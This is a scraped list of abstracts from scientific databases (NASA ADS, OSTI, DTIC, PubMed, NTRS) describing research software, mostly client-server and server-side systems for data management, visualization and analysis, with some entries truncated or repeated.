GLVis is an OpenGL tool for visualization of finite element meshes and functions. When started without any options, GLVis starts a server, which waits for a socket connections and visualizes any recieved data. This way the results of simulations on a remote (parallel) machine can be visualized on the lical user desktop. GLVis can also be used to visualize a mesh with or without a finite element function (solution). It can run a batch sequence of commands (GLVis scripts), or display previously saved socket streams.

Increasing Usability in Ocean Observing Systems

NASA Astrophysics Data System (ADS)

Chase, A. C.; Gomes, K.; O'Reilly, T.

2005-12-01

As observatory systems move to more advanced techniques for instrument configuration and data management, standardized frameworks are being developed to benefit from commodities of scale. ACE (A Configuror and Editor) is a tool that was developed for SIAM (Software Infrastructure and Application for MOOS), a framework for the seamless integration of self-describing plug-and-work instruments into the Monterey Ocean Observing System. As a comprehensive solution, the SIAM infrastructure requires a number of processes to be run to configure an instrument for use within its framework. As solutions move from the lab to the field, the steps needed to implement the solution must be made bulletproof so that they may be used in the field with confidence. Loosely defined command line interfaces don't always provide enough user feedback and business logic can be difficult to maintain over a series of scripts. ACE is a tool developed for guiding the user through a number of complicated steps, removing the reliance on command-line utilities and reducing the difficulty of completing the necessary steps, while also preventing operator error and enforcing system constraints. Utilizing the cross-platform nature of the Java programming language, ACE provides a complete solution for deploying an instrument within the SIAM infrastructure without depending on special software being installed on the users computer. Requirements such as the installation of a Unix emulator for users running Windows machines, and the installation of, and ability to use, a CVS client, have all been removed by providing the equivalent functionality from within ACE. In order to achieve a "one stop shop" for configuring instruments, ACE had to be written to handle a wide variety of functionality including: compiling java code, interacting with a CVS server and maintaining client-side CVS information, editing XML, interacting with a server side database, and negotiating serial port communications through Java. This paper will address the relative tradeoffs of including all the afore-mentioned functionality in a single tool, its affects on user adoption of the framework (SIAM) it provides access to, as well as further discussion of some of the functionality generally pertinent to data management (XML editing, source code management and compilation, etc).

Sirocco Storage Server v. pre-alpha 0.1

DOE Office of Scientific and Technical Information (OSTI.GOV)

Curry, Matthew L.; Danielson, Geoffrey; Ward, H. Lee

Sirocco is a parallel storage system under development, designed for write-intensive workloads on large-scale HPC platforms. It implements a keyvalue object store on top of a set of loosely federated storage servers that cooperate to ensure data integrity and performance. It includes support for a range of different types of storage transactions. This software release constitutes a conformant storage server, along with the client-side libraries to access the storage over a network.

Automatic Thermal Infrared Panoramic Imaging Sensor

DTIC Science & Technology

2006-11-01

hibernation, in which power supply to the server computer , the wireless network hardware, the GPS receiver, and the electronic compass / tilt sensor...prototype. At the operator’s command on the client laptop, the receiver wakeup device on the server side will switch on the ATX power supply at the...server, to resume the power supply to all the APTIS components. The embedded computer will resume all of the functions it was performing when put

Designing indonesian teacher engagement index (itei) applications based on android

NASA Astrophysics Data System (ADS)

Manalu, S. R.; Sasmoko; Permai, S. D.; Widhoyoko, S. A.; Indrianti, Y.

2018-03-01

Teachers who have a good level of engagement will be able to produce students who engage and excel. Level of national teachers’ engagement needs to be a reference to the level of educational success and equity of national education. The spread of geographically inaccessible Indonesian teachers is a barrier to these measurements. ITEI Android application developed by analysing the geographical problem, so that each teacher can participate wherever they are. The ITEI app is designed by implementing Android on the client side and load balancer on the server side. Android ITEI will feature a number of questions questionnaire to teachers. Meanwhile, the load balancer will distribute the answers to each server for processing. Load Balancer ensures fast data processing and minimize server failure. The results of the processing on the server will be sent back to Android in the form of profiling themselves ITEI teachers. While the data obtained and stored in the server can be used to measure the level of national teachers’ engagement. The result of this research is the design of ITEI application ready to be implemented in order to support the data collection process of teacher national engagement level.

Studying the co-evolution of protein families with the Mirrortree web server.

PubMed

Ochoa, David; Pazos, Florencio

2010-05-15

The Mirrortree server allows to graphically and interactively study the co-evolution of two protein families, and investigate their possible interactions and functional relationships in a taxonomic context. The server includes the possibility of starting from single sequences and hence it can be used by non-expert users. The web server is freely available at http://csbg.cnb.csic.es/mtserver. It was tested in the main web browsers. Adobe Flash Player is required at the client side to perform the interactive assessment of co-evolution. pazos@cnb.csic.es Supplementary data are available at Bioinformatics online.

New Version of SeismicHandler (SHX) based on ObsPy

NASA Astrophysics Data System (ADS)

Stammler, Klaus; Walther, Marcus

2016-04-01

The command line version of SeismicHandler (SH), a scientific analysis tool for seismic waveform data developed around 1990, has been redesigned in the recent years, based on a project funded by the Deutsche Forschungsgemeinschaft (DFG). The aim was to address new data access techniques, simplified metadata handling and a modularized software design. As a result the program was rewritten in Python in its main parts, taking advantage of simplicity of this script language and its variety of well developed software libraries, including ObsPy. SHX provides an easy access to waveforms and metadata via arclink and FDSN webservice protocols, also access to event catalogs is implemented. With single commands whole networks or stations within a certain area may be read in, the metadata are retrieved from the servers and stored in a local database. For data processing the large set of SH commands is available, as well as the SH scripting language. Via this SH language scripts or additional Python modules the command set of SHX is easily extendable. The program is open source, tested on Linux operating systems, documentation and download is found at URL "https://www.seismic-handler.org/".

Proposal and Implementation of SSH Client System Using Ajax

NASA Astrophysics Data System (ADS)

Kosuda, Yusuke; Sasaki, Ryoichi

Technology called Ajax gives web applications the functionality and operability of desktop applications. In this study, we propose and implement a Secure Shell (SSH) client system using Ajax, independent of the OS or Java execution environment. In this system, SSH packets are generated on a web browser by using JavaScript and a web server works as a proxy in communication with an SSH server to realize end-to-end SSH communication. We implemented a prototype program and confirmed by experiment that it runs on several web browsers and mobile phones. This system has enabled secure SSH communication from a PC at an Internet cafe or any mobile phone. By measuring the processing performance, we verified satisfactory performance for emergency use, although the speed was unsatisfactory in some cases with mobile phone. The system proposed in this study will be effective in various fields of E-Business.

SAME4HPC: A Promising Approach in Building a Scalable and Mobile Environment for High-Performance Computing

DOE Office of Scientific and Technical Information (OSTI.GOV)

Karthik, Rajasekar

2014-01-01

In this paper, an architecture for building Scalable And Mobile Environment For High-Performance Computing with spatial capabilities called SAME4HPC is described using cutting-edge technologies and standards such as Node.js, HTML5, ECMAScript 6, and PostgreSQL 9.4. Mobile devices are increasingly becoming powerful enough to run high-performance apps. At the same time, there exist a significant number of low-end and older devices that rely heavily on the server or the cloud infrastructure to do the heavy lifting. Our architecture aims to support both of these types of devices to provide high-performance and rich user experience. A cloud infrastructure consisting of OpenStack withmore » Ubuntu, GeoServer, and high-performance JavaScript frameworks are some of the key open-source and industry standard practices that has been adopted in this architecture.« less

Development of Web-Based Menu Planning Support System and its Solution Using Genetic Algorithm

NASA Astrophysics Data System (ADS)

Kashima, Tomoko; Matsumoto, Shimpei; Ishii, Hiroaki

2009-10-01

Recently lifestyle-related diseases have become an object of public concern, while at the same time people are being more health conscious. As an essential factor for causing the lifestyle-related diseases, we assume that the knowledge circulation on dietary habits is still insufficient. This paper focuses on everyday meals close to our life and proposes a well-balanced menu planning system as a preventive measure of lifestyle-related diseases. The system is developed by using a Web-based frontend and it provides multi-user services and menu information sharing capabilities like social networking services (SNS). The system is implemented on a Web server running Apache (HTTP server software), MySQL (database management system), and PHP (scripting language for dynamic Web pages). For the menu planning, a genetic algorithm is applied by understanding this problem as multidimensional 0-1 integer programming.

Data Processing Factory for the Sloan Digital Sky Survey

NASA Astrophysics Data System (ADS)

Stoughton, Christopher; Adelman, Jennifer; Annis, James T.; Hendry, John; Inkmann, John; Jester, Sebastian; Kent, Steven M.; Kuropatkin, Nickolai; Lee, Brian; Lin, Huan; Peoples, John, Jr.; Sparks, Robert; Tucker, Douglas; Vanden Berk, Dan; Yanny, Brian; Yocum, Dan

2002-12-01

The Sloan Digital Sky Survey (SDSS) data handling presents two challenges: large data volume and timely production of spectroscopic plates from imaging data. A data processing factory, using technologies both old and new, handles this flow. Distribution to end users is via disk farms, to serve corrected images and calibrated spectra, and a database, to efficiently process catalog queries. For distribution of modest amounts of data from Apache Point Observatory to Fermilab, scripts use rsync to update files, while larger data transfers are accomplished by shipping magnetic tapes commercially. All data processing pipelines are wrapped in scripts to address consecutive phases: preparation, submission, checking, and quality control. We constructed the factory by chaining these pipelines together while using an operational database to hold processed imaging catalogs. The science database catalogs all imaging and spectroscopic object, with pointers to the various external files associated with them. Diverse computing systems address particular processing phases. UNIX computers handle tape reading and writing, as well as calibration steps that require access to a large amount of data with relatively modest computational demands. Commodity CPUs process steps that require access to a limited amount of data with more demanding computations requirements. Disk servers optimized for cost per Gbyte serve terabytes of processed data, while servers optimized for disk read speed run SQLServer software to process queries on the catalogs. This factory produced data for the SDSS Early Data Release in June 2001, and it is currently producing Data Release One, scheduled for January 2003.

OGS improvements in the year 2011 in running the Northeastern Italy Seismic Network

NASA Astrophysics Data System (ADS)

Bragato, P. L.; Pesaresi, D.; Saraò, A.; Di Bartolomeo, P.; Durı, G.

2012-04-01

The Centro di Ricerche Sismologiche (CRS, Seismological Research Center) of the Istituto Nazionale di Oceanografia e di Geofisica Sperimentale (OGS, Italian National Institute for Oceanography and Experimental Geophysics) in Udine (Italy) after the strong earthquake of magnitude M=6.4 occurred in 1976 in the Italian Friuli-Venezia Giulia region, started to operate the Northeastern Italy Seismic Network: it currently consists of 15 very sensitive broad band and 21 simpler short period seismic stations, all telemetered to and acquired in real time at the OGS-CRS data center in Udine. Real time data exchange agreements in place with other Italian, Slovenian, Austrian and Swiss seismological institutes lead to a total number of about 100 seismic stations acquired in real time, which makes the OGS the reference institute for seismic monitoring of Northeastern Italy. Since 2002 OGS-CRS is using the Antelope software suite on several workstations plus a SUN Cluster as the main tool for collecting, analyzing, archiving and exchanging seismic data, initially in the framework of the EU Interreg IIIA project "Trans-national seismological networks in the South-Eastern Alps". SeisComP is also used as a real time data exchange server tool. In order to improve the seismological monitoring of the Northeastern Italy area, at OGS-CRS we tuned existing programs and created ad hoc ones like: a customized web server named PickServer to manually relocate earthquakes, a script for automatic moment tensor determination, scripts for web publishing of earthquake parametric data, waveforms, state of health parameters and shaking maps, noise characterization by means of automatic spectra analysis, and last but not least scripts for email/SMS/fax alerting. The OGS-CRS Real Time Seismological website (RTS, http://rts.crs.inogs.it/) operative since several years was initially developed in the framework of the Italian DPC-INGV S3 Project: the RTS website shows classic earthquake locations parametric data plus ShakeMap and moment tensor information. At OGS-CRS we also spent a considerable amount of efforts in improving the long-period performances of broadband seismic stations, either by carrying out full re-installations and/or applying thermal insulations to the seismometers: more examples of PSD plots of the PRED broad band seismic station installation in the cave tunnel of Cave del Predil using a Quanterra Q330HR high resolution digitizer and a Sterckeisen STS-2 broadband seismometer will be illustrated. Efforts in strengthening the reliability of data links, exploring the use of redundant satellite/radio/GPRS links will also be shown.

A Brief Assessment of LC2IEDM, MIST and Web Services for use in Naval Tactical Data Management

DTIC Science & Technology

2004-07-01

server software, messaging between the client and server, and a database. The MIST database is implemented in an open source DBMS named PostGreSQL ... PostGreSQL had its beginnings at the University of California, Berkley, in 1986 [11]. The development of PostGreSQL has since evolved into a...contact history from the database. DRDC Atlantic TM 2004-148 9 Request Software Request Software Server Side Response from service

Promotion Assistance Tool for Mobile Phone Users

NASA Astrophysics Data System (ADS)

Intraprasert, P.; Jatikul, N.; Chantrapornchai, C.

In this paper, we propose an application tool to help analyze the usage of a mobile phone for a typical user. From the past usage, the tool can analyze the promotion that is suitable for the user which may save the total expense. The application consists of both client and server side. On the server side, the information for each promotion package for a phone operator is stored as well as the usage database for each client. The client side is a user interface for both phone operators and users to enter their information. The analysis engine are based on KNN, ANN, decision tree and Naïve Bayes models. For comparison, it is shown that KNN and decision outperforms the others.

A WebGIS-based system for analyzing and visualizing air quality data for Shanghai Municipality

NASA Astrophysics Data System (ADS)

Wang, Manyi; Liu, Chaoshun; Gao, Wei

2014-10-01

An online visual analytical system based on Java Web and WebGIS for air quality data for Shanghai Municipality was designed and implemented to quantitatively analyze and qualitatively visualize air quality data. By analyzing the architecture of WebGIS and Java Web, we firstly designed the overall scheme for system architecture, then put forward the software and hardware environment and also determined the main function modules for the system. The visual system was ultimately established with the DIV + CSS layout method combined with JSP, JavaScript, and some other computer programming languages based on the Java programming environment. Moreover, Struts, Spring, and Hibernate frameworks (SSH) were integrated in the system for the purpose of easy maintenance and expansion. To provide mapping service and spatial analysis functions, we selected ArcGIS for Server as the GIS server. We also used Oracle database and ESRI file geodatabase to store spatial data and non-spatial data in order to ensure the data security. In addition, the response data from the Web server are resampled to implement rapid visualization through the browser. The experimental successes indicate that this system can quickly respond to user's requests, and efficiently return the accurate processing results.

The Virtual Climate Data Server (vCDS): An iRODS-Based Data Management Software Appliance Supporting Climate Data Services and Virtualization-as-a-Service in the NASA Center for Climate Simulation

NASA Technical Reports Server (NTRS)

Schnase, John L.; Tamkin, Glenn S.; Ripley, W. David III; Stong, Savannah; Gill, Roger; Duffy, Daniel Q.

2012-01-01

Scientific data services are becoming an important part of the NASA Center for Climate Simulation's mission. Our technological response to this expanding role is built around the concept of a Virtual Climate Data Server (vCDS), repetitive provisioning, image-based deployment and distribution, and virtualization-as-a-service. The vCDS is an iRODS-based data server specialized to the needs of a particular data-centric application. We use RPM scripts to build vCDS images in our local computing environment, our local Virtual Machine Environment, NASA s Nebula Cloud Services, and Amazon's Elastic Compute Cloud. Once provisioned into one or more of these virtualized resource classes, vCDSs can use iRODS s federation capabilities to create an integrated ecosystem of managed collections that is scalable and adaptable to changing resource requirements. This approach enables platform- or software-asa- service deployment of vCDS and allows the NCCS to offer virtualization-as-a-service: a capacity to respond in an agile way to new customer requests for data services.

Share Data with OPeNDAP Hyrax: New Features and Improvements

NASA Technical Reports Server (NTRS)

Gallagher, James

2016-01-01

During the upcoming Summer 2016 meeting of the ESIP Federation (July 19-22), OpenDAP will hold a Developers and Users Workshop. While a broad set of topics will be covered, a key focus is capitalizing on recent EOSDIS-sponsored advances in Hyrax, OPeNDAPs own software for server-side realization of the DAP2 and DAP4 protocols. These Hyrax advances are as important to data users as to data providers, and the workshop will include hands-on experiences of value to both. Specifically, a balanced set of presentations and hands-on tutorials will address advances in 1. server installation, 2. server configuration, 3. Hyrax aggregation capabilities, 4. support for data-access from clients that are HTTP-based, JSON-based or OGC-compliant (especially WCS and WMS), 5. support for DAP4,6.use and extension of server-side computational capabilities, and7.several performance-affecting matters. Topics 2 through 7 will be relevant to data consumers, data providers and notably, due to the open-source nature of all OPeNDAP software to developers wishing to extend Hyrax, to build compatible clients and servers, and/or to employ Hyrax as middleware that enables interoperability across a variety of end-user and source-data contexts. A session for contributed talks will elaborate the topics listed above and embrace additional ones.

Accessing multimedia content from mobile applications using semantic web technologies

NASA Astrophysics Data System (ADS)

Kreutel, Jörn; Gerlach, Andrea; Klekamp, Stefanie; Schulz, Kristin

2014-02-01

We describe the ideas and results of an applied research project that aims at leveraging the expressive power of semantic web technologies as a server-side backend for mobile applications that provide access to location and multimedia data and allow for a rich user experience in mobile scenarios, ranging from city and museum guides to multimedia enhancements of any kind of narrative content, including e-book applications. In particular, we will outline a reusable software architecture for both server-side functionality and native mobile platforms that is aimed at significantly decreasing the effort required for developing particular applications of that kind.

Deploying Server-side File System Monitoring at NERSC

DOE Office of Scientific and Technical Information (OSTI.GOV)

Uselton, Andrew

2009-05-01

The Franklin Cray XT4 at the NERSC center was equipped with the server-side I/O monitoring infrastructure Cerebro/LMT, which is described here in detail. Insights gained from the data produced include a better understanding of instantaneous data rates during file system testing, file system behavior during regular production time, and long-term average behaviors. Information and insights gleaned from this monitoring support efforts to proactively manage the I/O infrastructure on Franklin. A simple model for I/O transactions is introduced and compared with the 250 million observations sent to the LMT database from August 2008 to February 2009.

dada - a web-based 2D detector analysis tool

NASA Astrophysics Data System (ADS)

Osterhoff, Markus

2017-06-01

The data daemon, dada, is a server backend for unified access to 2D pixel detector image data stored with different detectors, file formats and saved with varying naming conventions and folder structures across instruments. Furthermore, dada implements basic pre-processing and analysis routines from pixel binning over azimuthal integration to raster scan processing. Common user interactions with dada are by a web frontend, but all parameters for an analysis are encoded into a Uniform Resource Identifier (URI) which can also be written by hand or scripts for batch processing.

Assessment & Commitment Tracking System (ACTS)

DOE Office of Scientific and Technical Information (OSTI.GOV)

Bryant, Robert A.; Childs, Teresa A.; Miller, Michael A.

2004-12-20

The ACTS computer code provides a centralized tool for planning and scheduling assessments, tracking and managing actions associated with assessments or that result from an event or condition, and "mining" data for reporting and analyzing information for improving performance. The ACTS application is designed to work with the MS SQL database management system. All database interfaces are written in SQL. The following software is used to develop and support the ACTS application: Cold Fusion HTML JavaScript Quest TOAD Microsoft Visual Source Safe (VSS) HTML Mailer for sending email Microsoft SQL Microsoft Internet Information Server

Research on time synchronization scheme of MES systems in manufacturing enterprise

NASA Astrophysics Data System (ADS)

Yuan, Yuan; Wu, Kun; Sui, Changhao; Gu, Jin

2018-04-01

With the popularity of information and automatic production in the manufacturing enterprise, data interaction between business systems is more and more frequent. Therefore, the accuracy of time is getting higher and higher. However, the NTP network time synchronization methods lack the corresponding redundancy and monitoring mechanisms. When failure occurs, it can only make up operations after the event, which has a great effect on production data and systems interaction. Based on this, the paper proposes a RHCS-based NTP server architecture, automatically detect NTP status and failover by script.

Design and implementation of a risk assessment module in a spatial decision support system

NASA Astrophysics Data System (ADS)

Zhang, Kaixi; van Westen, Cees; Bakker, Wim

2014-05-01

The spatial decision support system named 'Changes SDSS' is currently under development. The goal of this system is to analyze changing hydro-meteorological hazards and the effect of risk reduction alternatives to support decision makers in choosing the best alternatives. The risk assessment module within the system is to assess the current risk, analyze the risk after implementations of risk reduction alternatives, and analyze the risk in different future years when considering scenarios such as climate change, land use change and population growth. The objective of this work is to present the detailed design and implementation plan of the risk assessment module. The main challenges faced consist of how to shift the risk assessment from traditional desktop software to an open source web-based platform, the availability of input data and the inclusion of uncertainties in the risk analysis. The risk assessment module is developed using Ext JS library for the implementation of user interface on the client side, using Python for scripting, as well as PostGIS spatial functions for complex computations on the server side. The comprehensive consideration of the underlying uncertainties in input data can lead to a better quantification of risk assessment and a more reliable Changes SDSS, since the outputs of risk assessment module are the basis for decision making module within the system. The implementation of this module will contribute to the development of open source web-based modules for multi-hazard risk assessment in the future. This work is part of the "CHANGES SDSS" project, funded by the European Community's 7th Framework Program.

A client–server framework for 3D remote visualization of radiotherapy treatment space

PubMed Central

Santhanam, Anand P.; Min, Yugang; Dou, Tai H.; Kupelian, Patrick; Low, Daniel A.

2013-01-01

Radiotherapy is safely employed for treating wide variety of cancers. The radiotherapy workflow includes a precise positioning of the patient in the intended treatment position. While trained radiation therapists conduct patient positioning, consultation is occasionally required from other experts, including the radiation oncologist, dosimetrist, or medical physicist. In many circumstances, including rural clinics and developing countries, this expertise is not immediately available, so the patient positioning concerns of the treating therapists may not get addressed. In this paper, we present a framework to enable remotely located experts to virtually collaborate and be present inside the 3D treatment room when necessary. A multi-3D camera framework was used for acquiring the 3D treatment space. A client–server framework enabled the acquired 3D treatment room to be visualized in real-time. The computational tasks that would normally occur on the client side were offloaded to the server side to enable hardware flexibility on the client side. On the server side, a client specific real-time stereo rendering of the 3D treatment room was employed using a scalable multi graphics processing units (GPU) system. The rendered 3D images were then encoded using a GPU-based H.264 encoding for streaming. Results showed that for a stereo image size of 1280 × 960 pixels, experts with high-speed gigabit Ethernet connectivity were able to visualize the treatment space at approximately 81 frames per second. For experts remotely located and using a 100 Mbps network, the treatment space visualization occurred at 8–40 frames per second depending upon the network bandwidth. This work demonstrated the feasibility of remote real-time stereoscopic patient setup visualization, enabling expansion of high quality radiation therapy into challenging environments. PMID:23440605

Automatic Identification of Application I/O Signatures from Noisy Server-Side Traces

DOE Office of Scientific and Technical Information (OSTI.GOV)

Liu, Yang; Gunasekaran, Raghul; Ma, Xiaosong

2014-01-01

Competing workloads on a shared storage system cause I/O resource contention and application performance vagaries. This problem is already evident in today s HPC storage systems and is likely to become acute at exascale. We need more interaction between application I/O requirements and system software tools to help alleviate the I/O bottleneck, moving towards I/O-aware job scheduling. However, this requires rich techniques to capture application I/O characteristics, which remain evasive in production systems. Traditionally, I/O characteristics have been obtained using client-side tracing tools, with drawbacks such as non-trivial instrumentation/development costs, large trace traffic, and inconsistent adoption. We present a novelmore » approach, I/O Signature Identifier (IOSI), to characterize the I/O behavior of data-intensive applications. IOSI extracts signatures from noisy, zero-overhead server-side I/O throughput logs that are already collected on today s supercomputers, without interfering with the compiling/execution of applications. We evaluated IOSI using the Spider storage system at Oak Ridge National Laboratory, the S3D turbulence application (running on 18,000 Titan nodes), and benchmark-based pseudo-applications. Through our ex- periments we confirmed that IOSI effectively extracts an application s I/O signature despite significant server-side noise. Compared to client-side tracing tools, IOSI is transparent, interface-agnostic, and incurs no overhead. Compared to alternative data alignment techniques (e.g., dynamic time warping), it offers higher signature accuracy and shorter processing time.« less

Simple, Script-Based Science Processing Archive

NASA Technical Reports Server (NTRS)

Lynnes, Christopher; Hegde, Mahabaleshwara; Barth, C. Wrandle

2007-01-01

The Simple, Scalable, Script-based Science Processing (S4P) Archive (S4PA) is a disk-based archival system for remote sensing data. It is based on the data-driven framework of S4P and is used for data transfer, data preprocessing, metadata generation, data archive, and data distribution. New data are automatically detected by the system. S4P provides services such as data access control, data subscription, metadata publication, data replication, and data recovery. It comprises scripts that control the data flow. The system detects the availability of data on an FTP (file transfer protocol) server, initiates data transfer, preprocesses data if necessary, and archives it on readily available disk drives with FTP and HTTP (Hypertext Transfer Protocol) access, allowing instantaneous data access. There are options for plug-ins for data preprocessing before storage. Publication of metadata to external applications such as the Earth Observing System Clearinghouse (ECHO) is also supported. S4PA includes a graphical user interface for monitoring the system operation and a tool for deploying the system. To ensure reliability, S4P continuously checks stored data for integrity, Further reliability is provided by tape backups of disks made once a disk partition is full and closed. The system is designed for low maintenance, requiring minimal operator oversight.

Specification and Verification of Web Applications in Rewriting Logic

NASA Astrophysics Data System (ADS)

Alpuente, María; Ballis, Demis; Romero, Daniel

This paper presents a Rewriting Logic framework that formalizes the interactions between Web servers and Web browsers through a communicating protocol abstracting HTTP. The proposed framework includes a scripting language that is powerful enough to model the dynamics of complex Web applications by encompassing the main features of the most popular Web scripting languages (e.g. PHP, ASP, Java Servlets). We also provide a detailed characterization of browser actions (e.g. forward/backward navigation, page refresh, and new window/tab openings) via rewrite rules, and show how our models can be naturally model-checked by using the Linear Temporal Logic of Rewriting (LTLR), which is a Linear Temporal Logic specifically designed for model-checking rewrite theories. Our formalization is particularly suitable for verification purposes, since it allows one to perform in-depth analyses of many subtle aspects related to Web interaction. Finally, the framework has been completely implemented in Maude, and we report on some successful experiments that we conducted by using the Maude LTLR model-checker.

[The database server for the medical bibliography database at Charles University].

PubMed

Vejvalka, J; Rojíková, V; Ulrych, O; Vorísek, M

1998-01-01

In the medical community, bibliographic databases are widely accepted as a most important source of information both for theoretical and clinical disciplines. To improve access to medical bibliographic databases at Charles University, a database server (ERL by Silver Platter) was set up at the 2nd Faculty of Medicine in Prague. The server, accessible by Internet 24 hours/7 days, hosts now 14 years' MEDLINE and 10 years' EMBASE Paediatrics. Two different strategies are available for connecting to the server: a specialized client program that communicates over the Internet (suitable for professional searching) and a web-based access that requires no specialized software (except the WWW browser) on the client side. The server is now offered to academic community to host further databases, possibly subscribed by consortia whose individual members would not subscribe them by themselves.

Feeding People's Curiosity: Leveraging the Cloud for Automatic Dissemination of Mars Images

NASA Technical Reports Server (NTRS)

Knight, David; Powell, Mark

2013-01-01

Smartphones and tablets have made wireless computing ubiquitous, and users expect instant, on-demand access to information. The Mars Science Laboratory (MSL) operations software suite, MSL InterfaCE (MSLICE), employs a different back-end image processing architecture compared to that of the Mars Exploration Rovers (MER) in order to better satisfy modern consumer-driven usage patterns and to offer greater server-side flexibility. Cloud services are a centerpiece of the server-side architecture that allows new image data to be delivered automatically to both scientists using MSLICE and the general public through the MSL website (http://mars.jpl.nasa.gov/msl/).

An Introduction to MAMA (Meta-Analysis of MicroArray data) System.

PubMed

Zhang, Zhe; Fenstermacher, David

2005-01-01

Analyzing microarray data across multiple experiments has been proven advantageous. To support this kind of analysis, we are developing a software system called MAMA (Meta-Analysis of MicroArray data). MAMA utilizes a client-server architecture with a relational database on the server-side for the storage of microarray datasets collected from various resources. The client-side is an application running on the end user's computer that allows the user to manipulate microarray data and analytical results locally. MAMA implementation will integrate several analytical methods, including meta-analysis within an open-source framework offering other developers the flexibility to plug in additional statistical algorithms.

Intro and Recent Advances: Remote Data Access via OPeNDAP Web Services

NASA Technical Reports Server (NTRS)

Fulker, David

2016-01-01

During the upcoming Summer 2016 meeting of the ESIP Federation (July 19-22), OpenDAP will hold a Developers and Users Workshop. While a broad set of topics will be covered, a key focus is capitalizing on recent EOSDIS-sponsored advances in Hyrax, OPeNDAPs own software for server-side realization of the DAP2 and DAP4 protocols. These Hyrax advances are as important to data users as to data providers, and the workshop will include hands-on experiences of value to both. Specifically, a balanced set of presentations and hands-on tutorials will address advances in1.server installation,2.server configuration,3.Hyrax aggregation capabilities,4.support for data-access from clients that are HTTP-based, JSON-based or OGC-compliant (especially WCS and WMS),5.support for DAP4,6.use and extension of server-side computational capabilities, and7.several performance-affecting matters. Topics 2 through 7 will be relevant to data consumers, data providers and notably, due to the open-source nature of all OPeNDAP software to developers wishing to extend Hyrax, to build compatible clients and servers, and/or to employ Hyrax as middleware that enables interoperability across a variety of end-user and source-data contexts. A session for contributed talks will elaborate the topics listed above and embrace additional ones.

Low-Bandwidth and Non-Compute Intensive Remote Identification of Microbes from Raw Sequencing Reads

PubMed Central

Gautier, Laurent; Lund, Ole

2013-01-01

Cheap DNA sequencing may soon become routine not only for human genomes but also for practically anything requiring the identification of living organisms from their DNA: tracking of infectious agents, control of food products, bioreactors, or environmental samples. We propose a novel general approach to the analysis of sequencing data where a reference genome does not have to be specified. Using a distributed architecture we are able to query a remote server for hints about what the reference might be, transferring a relatively small amount of data. Our system consists of a server with known reference DNA indexed, and a client with raw sequencing reads. The client sends a sample of unidentified reads, and in return receives a list of matching references. Sequences for the references can be retrieved and used for exhaustive computation on the reads, such as alignment. To demonstrate this approach we have implemented a web server, indexing tens of thousands of publicly available genomes and genomic regions from various organisms and returning lists of matching hits from query sequencing reads. We have also implemented two clients: one running in a web browser, and one as a python script. Both are able to handle a large number of sequencing reads and from portable devices (the browser-based running on a tablet), perform its task within seconds, and consume an amount of bandwidth compatible with mobile broadband networks. Such client-server approaches could develop in the future, allowing a fully automated processing of sequencing data and routine instant quality check of sequencing runs from desktop sequencers. A web access is available at http://tapir.cbs.dtu.dk. The source code for a python command-line client, a server, and supplementary data are available at http://bit.ly/1aURxkc. PMID:24391826

Low-bandwidth and non-compute intensive remote identification of microbes from raw sequencing reads.

PubMed

Gautier, Laurent; Lund, Ole

2013-01-01

Cheap DNA sequencing may soon become routine not only for human genomes but also for practically anything requiring the identification of living organisms from their DNA: tracking of infectious agents, control of food products, bioreactors, or environmental samples. We propose a novel general approach to the analysis of sequencing data where a reference genome does not have to be specified. Using a distributed architecture we are able to query a remote server for hints about what the reference might be, transferring a relatively small amount of data. Our system consists of a server with known reference DNA indexed, and a client with raw sequencing reads. The client sends a sample of unidentified reads, and in return receives a list of matching references. Sequences for the references can be retrieved and used for exhaustive computation on the reads, such as alignment. To demonstrate this approach we have implemented a web server, indexing tens of thousands of publicly available genomes and genomic regions from various organisms and returning lists of matching hits from query sequencing reads. We have also implemented two clients: one running in a web browser, and one as a python script. Both are able to handle a large number of sequencing reads and from portable devices (the browser-based running on a tablet), perform its task within seconds, and consume an amount of bandwidth compatible with mobile broadband networks. Such client-server approaches could develop in the future, allowing a fully automated processing of sequencing data and routine instant quality check of sequencing runs from desktop sequencers. A web access is available at http://tapir.cbs.dtu.dk. The source code for a python command-line client, a server, and supplementary data are available at http://bit.ly/1aURxkc.

Integrated Web-Based Immersive Exploration of the Coordinated Canyon Experiment Data using Open Source STOQS Software

NASA Astrophysics Data System (ADS)

McCann, M. P.; Gwiazda, R.; O'Reilly, T. C.; Maier, K. L.; Lundsten, E. M.; Parsons, D. R.; Paull, C. K.

2017-12-01

The Coordinated Canyon Experiment (CCE) in Monterey Submarine Canyon has produced a wealth of oceanographic measurements whose analysis will improve understanding of turbidity current processes. Exploration of this data set, consisting of over 60 parameters from 15 platforms, is facilitated by using the open source Spatial Temporal Oceanographic Query System (STOQS) software (https://github.com/stoqs/stoqs). The Monterey Bay Aquarium Research Institute (MBARI) originally developed STOQS to help manage and visualize upper water column oceanographic measurements, but the generality of its data model permits effective use for any kind of spatial/temporal measurement data. STOQS consists of a PostgreSQL database and server-side Python/Django software; the client-side is jQuery JavaScript supporting AJAX requests to update a single page web application. The User Interface (UI) is optimized to provide a quick overview of data in spatial and temporal dimensions, as well as in parameter, platform, and data value space. A user may zoom into any feature of interest and select it, initiating a filter operation that updates the UI with an overview of all the data in the new filtered selection. When details are desired, radio buttons and checkboxes are selected to generate a number of different types of visualizations. These include color-filled temporal section and line plots, parameter-parameter plots, 2D map plots, and interactive 3D spatial visualizations. The Extensible 3D (X3D) standard and X3DOM JavaScript library provide the technology for presenting animated 3D data directly within the web browser. Most of the oceanographic measurements from the CCE (e.g. mooring mounted ADCP and CTD data) are easily visualized using established methods. However, unified integration and multiparameter display of several concurrently deployed sensors across a network of platforms is a challenge we hope to solve. Moreover, STOQS also allows display of data from a new instrument - the Benthic Event Detector (BED). The BED records 50Hz samples of orientation and acceleration when it moves. These data are converted to the CF-NetCDF format and then loaded into a STOQS database. Using the Spatial-3D view a user may interact with a virtual playback of BED motions, giving new insight into submarine canyon sediment density flows.

Improvements to Autoplot's HAPI Support

NASA Astrophysics Data System (ADS)

Faden, J.; Vandegriff, J. D.; Weigel, R. S.

2017-12-01

